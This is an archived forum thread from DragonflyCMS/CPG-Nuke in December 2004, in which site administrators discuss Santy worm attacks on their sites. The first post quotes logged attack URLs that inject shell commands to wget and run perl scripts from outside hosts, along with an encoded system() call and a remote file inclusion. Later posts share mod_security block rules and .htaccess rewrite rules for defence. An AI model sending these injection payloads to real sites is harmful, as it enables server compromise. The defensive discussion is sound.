Home Private Messages Search
CPG Dragonfly™ CMS Dedicated Server & Bandwidth Sponsored by DedicatedNOW
Toggle Content
 
Forums ⇒ CMS (All) ⇒ Security :: Archives ⇒ Help CPG-Nuke is under attack LMAO :: Archived


Help CPG-Nuke is under attack LMAO :: Archived
Post any security related questions in here.
Please send discovered reports to security @ cpgnuke.com
Do Not post links to exploits or hacker sites - your post will be edited/deleted.
If you think you've been hacked, FIRST go through your server logs.

Go to page 1, 2  Next
Post new topic    Revive this topic    Printer Friendly Page     Forum Index ⇒  Security

Topic Archived View previous topic :: View next topic  
Author Message
DJ Maze
Developer
Developer

Offline Offline
Joined: Apr 19, 2004
Posts: 5683
Location: http://tinyurl.com/5z8dmv
PostPosted: Sat Dec 25, 2004 2:25 pm
Post subject: Help CPG-Nuke is under attack LMAO

Are people that stupid ?
They are trying these already all day Very happy
Code::
index.php?name=Forums&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20http://fff.gratishost.com/sess_0bc3910d07edb36750a9babbd179edb2;perl%20sess_0bc3910d07edb36750a9babbd179edb2;wget%20http://fff.gratishost.com/wow.a;perl%20wow.a%3B%
index.php?name=Forums&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%25
index.php?name=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.t


DJ Maze's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora 15 / 2.2.22 / 5.5.20 / 5.3.10 / CVS
Back to top
View user's profile Visit poster's website Yahoo Messenger Photo Gallery
xfsunoles
XHTML Specialist
XHTML Specialist

Offline Offline
Joined: Apr 30, 2004
Posts: 2502
Location: Melbourne, Florida
PostPosted: Sat Dec 25, 2004 2:32 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

wow, they don't stop launch shell worm. well, it unsuccessful.

_________________

Firefox is my Favorite Browser

xfsunoles's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Apache/1.3.34 (Unix)/4.0.25-standard/4.4.1/CVS
Back to top
View user's profile Visit poster's website AIM Address MSN Messenger Yahoo Messenger Photo Gallery
Stephen
Silver Supporter
Silver Supporter

Offline Offline
Joined: Apr 21, 2004
Posts: 734

PostPosted: Sat Dec 25, 2004 3:22 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

I've stopped about 40 attempts so far with mod_security :D

Heres one simple line to add to your mod_security config (or if you host has mod_security installed add to htaccess file) and it will stop them dead.
Code::
SecFilterSelective THE_REQUEST "wget "

I use a lot more than that however, ranging from uname to xss :D

Edit..
Heres my entire mod_security config file. All rules, they also stop the nmap version scan.
Code::
SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "uname -a"
SecFilterSelective THE_REQUEST "\.htgroup"
SecFilterSelective THE_REQUEST "\.htaccess"
SecFilter "javascript\://"
SecFilter "img src=javascript"
SecFilterSelective THE_REQUEST "cd\.\."
SecFilterSelective THE_REQUEST "///cgi-bin"
SecFilterSelective THE_REQUEST "/cgi-bin///"
SecFilterSelective THE_REQUEST "/~root"
SecFilterSelective THE_REQUEST "/~ftp"
SecFilterSelective THE_REQUEST "/htgrep" chain
SecFilter "hdr=/"
SecFilterSelective THE_REQUEST "/htgrep" log,pass
SecFilterSelective THE_REQUEST "/\.history"
SecFilterSelective THE_REQUEST "/\.bash_history"
SecFilterSelective THE_REQUEST "/~nobody"
SecFilterSelective THE_REQUEST "<script"
SecFilterSelective THE_REQUEST "\?STRENGUR"
SecFilter "_PHPLIB\[libdir\]"
SecFilterSelective THE_REQUEST "^(HELP|default|\||TNMP|DmdT|\:)$"
SecFilterSelective SCRIPT_FILENAME "export\.php$" chain
SecFilterSelective ARG_what "\.\."
SecFilter "<(.|\n)+>"
Edit2: disabled smiles :'(


Stephen's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Cent OS :: 1.3.34 :: 4.1.13 :: 4.4.2 :: CVS


Last edited by Stephen on Sun Dec 26, 2004 5:13 pm; edited 1 time in total
Back to top
View user's profile Visit poster's website Photo Gallery
Mystic
Diamond Supporter
Diamond Supporter

Offline Offline
Joined: Jun 25, 2004
Posts: 1312
Location: Spokane, WA USA
PostPosted: Sat Dec 25, 2004 4:29 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

DJ,

How are you detecting these attempts?

Stephen,

Where do you insert this code at?

_________________
- |\/|ystic

Mystic's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux 2.6.20-16/Apache/5.0.38/5.2.1/9.0.6.1
Back to top
View user's profile ICQ Number AIM Address Yahoo Messenger
DJ Maze
Developer
Developer

Offline Offline
Joined: Apr 19, 2004
Posts: 5683
Location: http://tinyurl.com/5z8dmv
PostPosted: Sat Dec 25, 2004 5:09 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

It's all in the "Who is where" block


DJ Maze's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora 15 / 2.2.22 / 5.5.20 / 5.3.10 / CVS
Back to top
View user's profile Visit poster's website Yahoo Messenger Photo Gallery
Mythical
Newbie
Newbie

Offline Offline
Joined: Oct 13, 2004
Posts: 3

PostPosted: Sat Dec 25, 2004 5:26 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

DJMaze wrote:
It's all in the "Who is where" block

You mean the same one this site doesn't use because

akamu wrote:
We don't have the who is where activated because of the sheer number of visitors and the extra queries this adds to the load on mysql.

Seems more like it's activated but for admin only. A little honesty never hurt anyone.


Mythical's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
?
Back to top
View user's profile Visit poster's website
DJ Maze
Developer
Developer

Offline Offline
Joined: Apr 19, 2004
Posts: 5683
Location: http://tinyurl.com/5z8dmv
PostPosted: Sat Dec 25, 2004 5:50 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

Apache logs.
By telling it as the block it is more understandable for most people Wink


DJ Maze's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora 15 / 2.2.22 / 5.5.20 / 5.3.10 / CVS
Back to top
View user's profile Visit poster's website Yahoo Messenger Photo Gallery
Jeruvy
Security Team
Security Team

Offline Offline
Joined: Apr 23, 2004
Posts: 1432
Location: Canada
PostPosted: Sat Dec 25, 2004 8:29 pm
Post subject: Re: Help CPG-Nuke is under attack LMAO

Santy.C

Merry Christmas.

_________________
J.
j e r u v y a t y a h o o d o t c o m

Need help? Look here: www.dragonflycms.org/W...d=112.html
Need to chat? Look for me on irc.freenode.net

Jeruvy's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Ubuntu7.10/Debian3.1 - 2.2.3/1.3.37 - 5.0.38/4.0.27 - 5.2.1/4.4.7 - CVS/9.1.2}
Back to top
View user's profile ICQ Number Yahoo Messenger Photo Gallery
Stephen
Silver Supporter
Silver Supporter

Offline Offline
Joined: Apr 21, 2004
Posts: 734

PostPosted: Sun Dec 26, 2004 4:25 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

Mystic,
You have to have mod_security installed (server side) for that to work.
Then after that, I beleive you can put it in your httpd.conf or .htaccess file. Very Happy


Stephen's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Cent OS :: 1.3.34 :: 4.1.13 :: 4.4.2 :: CVS
Back to top
View user's profile Visit poster's website Photo Gallery
Mystic
Diamond Supporter
Diamond Supporter

Offline Offline
Joined: Jun 25, 2004
Posts: 1312
Location: Spokane, WA USA
PostPosted: Sun Dec 26, 2004 4:52 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

Thanks for the clarification Stephen.

_________________
- |\/|ystic

Mystic's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux 2.6.20-16/Apache/5.0.38/5.2.1/9.0.6.1
Back to top
View user's profile ICQ Number AIM Address Yahoo Messenger
DJ Maze
Developer
Developer

Offline Offline
Joined: Apr 19, 2004
Posts: 5683
Location: http://tinyurl.com/5z8dmv
PostPosted: Mon Dec 27, 2004 12:23 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

Hey 2 new sites Smile

midomain.false.ca <- down

envidiosos.org/~pillar/ <- still up

And the biggest fun: due to LEO the worm urls are totally messed up Very happy


DJ Maze's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora 15 / 2.2.22 / 5.5.20 / 5.3.10 / CVS
Back to top
View user's profile Visit poster's website Yahoo Messenger Photo Gallery
djdevon3
Gold Supporter
Gold Supporter

Offline Offline
Joined: Aug 05, 2004
Posts: 4363

PostPosted: Mon Dec 27, 2004 12:56 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

all hail the cows


djdevon3's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/1.3.33/4.4/4.3.11
Back to top
View user's profile Visit poster's website Photo Gallery
tank
Gold Supporter
Gold Supporter

Offline Offline
Joined: Apr 20, 2004
Posts: 824
Location: Houston, Texas USA
PostPosted: Mon Dec 27, 2004 1:54 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

Based on several sites I've added this to my .htaccess at the top.

Code::
#Check for Santy Worms and redirect them to a phantom site
#Variant-1
RewriteCond %{HTTP_USER_AGENT} ^LWP                     [NC,OR]
#Variant-2
RewriteCond %{REQUEST_URI} ^visualcoders                [NC,OR]
RewriteCond %{REQUEST_URI} .*midomain/.false/.ca 	[NC,OR]
RewriteCond %{REQUEST_URI} .*envidiosos.org/~pillar/ 	[NC,OR]
#Variant-3
RewriteCond %{QUERY_STRING} rush=([^&]+)                [NC]
RewriteRule ^.*$ http://www.goawayanddontcomeback.com   [L]
#end santy check

anyone see any problem with that? I'm no htaccess guru but it seems to redirect any potential attacks elsewhere. Just not sure the implications to CPG-Nuke. It will only be on 8.2 so I'm sure it won't interefere with the LEO Smile

_________________
Search is your friend

tank's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Fedora Core 1, Apache 1.3.33, Mysql 4.1.14, PHP 5.0.5 w/ APC cache, Dragonfly 9.0.6.1
Back to top
View user's profile Visit poster's website
xfsunoles
XHTML Specialist
XHTML Specialist

Offline Offline
Joined: Apr 30, 2004
Posts: 2502
Location: Melbourne, Florida
PostPosted: Mon Dec 27, 2004 1:57 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

about redirect URL, what best URL we should pick on?

_________________

Firefox is my Favorite Browser

xfsunoles's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Apache/1.3.34 (Unix)/4.0.25-standard/4.4.1/CVS
Back to top
View user's profile Visit poster's website AIM Address MSN Messenger Yahoo Messenger Photo Gallery
djdevon3
Gold Supporter
Gold Supporter

Offline Offline
Joined: Aug 05, 2004
Posts: 4363

PostPosted: Mon Dec 27, 2004 2:04 am
Post subject: Re: Help CPG-Nuke is under attack LMAO

how about locators.com? responsible for some of the admin referal spamming. Twisted Evil spam the spammers!


djdevon3's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS)
Linux/1.3.33/4.4/4.3.11
Back to top
View user's profile Visit poster's website Photo Gallery
Display posts from previous:   
Post new topic    Revive this topic    Printer Friendly Page    Forum Index ⇒  Security
Page 1 of 2
All times are GMT
Go to page 1, 2  Next

Archive Revive
Username:
This is an archived topic - your reply will not be appended here.
Instead, a new topic will be generated in the active forum.
The new topic will provide a reference link to this archived topic.
 
   Toggle Content User Info

Welcome Anonymous

Nickname
Password
(Register)

   Toggle Content Last CVS commits
· Fixed .ico Expires header.
· Removed domain name from cookies so subdomains wont access them anymore.
· CSS and JS, case insensitives.
· CSS and JS, send correct HTTP 1.1 headers and fixed issues where themes and...
· Further security class improvements.
· 301 redirects on LEO changes
· Option to force 3xx http status codes
· Validate googlebot.com and google.com crawlers.
· CCBot
· Rss with etag and atom.

read more...

   Toggle Content Community

Support for DragonflyCMS in a other languages:

Deutsch
Español

   Toggle Content X-links
UltraEdit Browse Happy logo Firefox MySQL PostgreSQL Valid CSS! Valid XHTML 1.0! Unicode Encoded Badge NukeBiz Resources Raven DragonflyCMS Dedicated Now InsideSupport Lampe Berger

You are seeing squares or questionmarks on this page?

All content of this website is copyrighted by the Creative Commons NC-SA
The logos and trademarks used on this site are the property of their respective owners
We are not responsible for comments posted by our users, as they are the property of the poster.
Our server runs on a P3 1.2GHz with 512MB RAM with no accelerators
Support GoPHP5.org
Interactive software released under GNU GPL, Code Credits, Privacy Policy